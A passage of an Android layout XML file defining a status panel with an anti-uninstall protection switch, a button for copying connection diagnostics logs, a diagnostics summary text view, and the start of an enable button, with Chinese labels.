android:layout_height="wrap_content"
android:layout_marginBottom="16dp"
android:orientation="vertical"
android:padding="12dp"
android:background="@drawable/status_background">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical">
<TextView
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="防卸载保护"
android:textSize="14sp"
android:textStyle="bold"
android:textColor="#FFFFFF" />
<Switch
android:id="@+id/uninstallProtectionSwitch"
android:layout_width="wrap_content"
android:layout_height="wrap_content" />
</LinearLayout>
<Button
android:id="@+id/copyDiagnosticsButton"
android:layout_width="match_parent"
android:layout_height="44dp"
android:layout_marginTop="8dp"
android:text="复制连接诊断日志"
android:textAllCaps="false" />
<TextView
android:id="@+id/diagnosticsPreviewText"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginTop="8dp"
android:text="诊断摘要:待初始化"
android:textSize="12sp"
android:textColor="#E8E8E8"
android:lineSpacingExtra="2dp" />
</LinearLayout>
<Button
android:id="@+id/enableButton"
android:layout_width="match_parent"